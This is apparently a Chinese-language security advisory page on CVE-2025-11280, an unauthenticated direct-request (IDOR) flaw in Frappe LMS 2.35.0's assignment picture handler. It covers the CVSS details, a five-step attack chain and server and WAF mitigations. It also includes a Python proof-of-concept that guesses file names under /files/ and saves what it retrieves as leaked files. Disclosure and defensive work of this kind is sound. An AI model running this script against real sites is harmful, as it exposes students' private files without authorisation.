IPBUF安全漏洞报告
English
CVE-2025-11280 CVSS 3.7 低危

CVE-2025-11280:Frappe LMS 2.35.0作业图片处理器直接请求漏洞

披露日期: 2025-10-05

漏洞信息

漏洞编号
CVE-2025-11280
漏洞类型
不安全的直接请求(Insecure Direct Request / IDOR)
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Frappe LMS

相关标签

CVE-2025-11280Frappe LMS直接请求IDOR信息泄露访问控制缺陷低危漏洞作业图片处理器开源LMSWeb安全

漏洞概述

CVE-2025-11280是Frappe LMS 2.35.0版本中存在的一个安全漏洞,CVSS评分为3.7,严重等级为低危。该漏洞位于作业图片处理器(Assignment Picture Handler)的/files/路径下的某个未知函数中,攻击者可以通过直接请求的方式访问未经授权的资源。由于该漏洞可以通过网络远程触发,且无需任何身份认证和用户交互,因此具有一定的安全风险。

Frappe LMS是一个基于Frappe框架构建的开源学习管理系统,广泛应用于在线教育平台。该系统提供了课程管理、作业提交、成绩评估等功能。在实际部署中,作业图片处理器负责存储和管理用户上传的与作业相关的图片资源。然而,由于该组件在处理文件请求时缺乏适当的访问控制机制,导致攻击者可以通过构造特定的请求直接访问其他用户的图片文件,从而造成敏感信息泄露。

该漏洞的利用复杂度被评定为高,虽然攻击方法较为简单(直接请求),但需要攻击者事先了解目标系统的文件命名规则或存储结构。安全研究员0xHamy已经公开发布了该漏洞的概念验证(PoC)代码和复现步骤,进一步增加了该漏洞被利用的风险。值得注意的是,Frappe LMS的供应商已经确认修复了包括此漏洞在内的四个安全问题,但官方发布说明(Release Notes)中并未提及这些安全修复,这给安全运维人员带来了信息不对称的问题。

技术细节

该漏洞的核心问题在于Frappe LMS 2.35.0版本的作业图片处理器(Assignment Picture Handler)在处理/files/路径下的文件请求时,未实施有效的身份验证和授权检查机制。具体而言,当用户提交作业并上传相关图片时,系统会将图片文件存储在特定的目录中,并通过某种URL模式供用户访问。然而,该组件在接收到文件访问请求时,未验证请求者是否有权访问目标文件,仅依赖文件的URL路径或标识符来决定是否返回文件内容。

攻击者可以利用这一缺陷,通过以下方式进行攻击:首先,攻击者需要了解目标系统的文件存储结构或URL命名规则;然后,构造包含目标文件标识符的直接请求发送到/files/路径;由于缺乏访问控制检查,系统将直接返回请求的文件内容。这种攻击方式不需要任何身份认证(PR:N),也不需要用户交互(UI:N),可以通过网络远程发起(AV:N)。

从CVSS向量分析,该漏洞的攻击复杂度被评定为高(AC:H),这意味着实际利用需要一定的条件或技巧。虽然机密性影响为低(C:L),但考虑到教育平台可能存储涉及学生隐私的图片文件,这类信息泄露仍可能带来一定的安全风险。该漏洞的完整技术细节和复现步骤可参考安全研究员0xHamy在GitHub Gist上发布的PoC(https://gist.github.com/0xHamy/beb840a754f50a7ee6500600147a6ac1)。

攻击链分析

STEP 1
步骤1:目标识别
攻击者首先识别运行Frappe LMS 2.35.0版本的目标系统,通过查看页面源代码、响应头或特定的URL特征确认目标使用的框架和版本。
STEP 2
步骤2:文件路径枚举
攻击者通过分析作业图片的存储模式和URL命名规则,尝试枚举/files/路径下可能存在的图片文件标识符或路径。
STEP 3
步骤3:构造直接请求
攻击者构造针对/files/路径的HTTP GET请求,携带目标文件的标识符或路径,无需携带任何身份认证凭据(Cookie、Token等)。
STEP 4
步骤4:绕过访问控制
由于作业图片处理器未实施有效的授权检查,系统直接返回请求的文件内容,攻击者成功绕过访问控制获取未授权的图片资源。
STEP 5
步骤5:信息收集与利用
攻击者获取到其他用户的作业图片,可能包含敏感信息(如学生作业内容、个人信息等),用于进一步的攻击或信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11280 PoC - Frappe LMS Assignment Picture Handler Direct Request # Author: 0xHamy # Reference: https://gist.github.com/0xHamy/beb840a754f50a7ee6500600147a6ac1 import requests # Target configuration TARGET_URL = "https://target-frappe-lms.com" # The vulnerable endpoint is in the /files/ path # Assignment pictures are stored with predictable file names def exploit_direct_request(file_id): """ Exploit the insecure direct request vulnerability in Frappe LMS 2.35.0 The Assignment Picture Handler does not verify access permissions before serving files from the /files/ endpoint. """ # Construct the direct request URL to the assignment picture handler url = f"{TARGET_URL}/files/{file_id}" # Send the request without authentication # No cookies, no tokens, no session required (PR:N) response = requests.get(url, verify=False) if response.status_code == 200: print(f"[+] Successfully accessed file: {file_id}") print(f"[+] Content-Type: {response.headers.get('Content-Type')}") print(f"[+] Content-Length: {response.headers.get('Content-Length')}") # Save the leaked file content with open(f"leaked_{file_id.replace('/', '_')}", "wb") as f: f.write(response.content) return True else: print(f"[-] Failed to access file: {file_id}, Status: {response.status_code}") return False def enumerate_files(): """ Enumerate potential assignment picture file IDs File IDs may follow predictable patterns """ # Common patterns for assignment picture file IDs in Frappe LMS potential_ids = [ "assignment_picture_1.jpg", "assignment_picture_2.jpg", "homework_image_1.png", "submission_photo_1.jpeg" ] for file_id in potential_ids: exploit_direct_request(file_id) if __name__ == "__main__": print("[*] CVE-2025-11280 - Frappe LMS Direct Request Exploit") print("[*] Targeting Assignment Picture Handler") enumerate_files() # Steps to reproduce: # 1. Identify a Frappe LMS 2.35.0 instance # 2. Navigate to the /files/ endpoint # 3. Request assignment picture files directly without authentication # 4. Observe that files are returned without access control checks

影响范围

Frappe LMS 2.35.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:首先,在Web服务器层面(如Nginx或Apache)为/files/路径添加访问控制规则,限制只有经过认证的用户才能访问;其次,部署Web应用防火墙(WAF)规则,检测和阻止异常的/files/路径访问请求;此外,可以修改文件存储路径使其不可预测,增加枚举难度;同时启用详细的访问日志,监控可疑的文件访问行为;最后,建议尽快联系Frappe LMS供应商获取修复版本,因为供应商已确认该漏洞已被修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表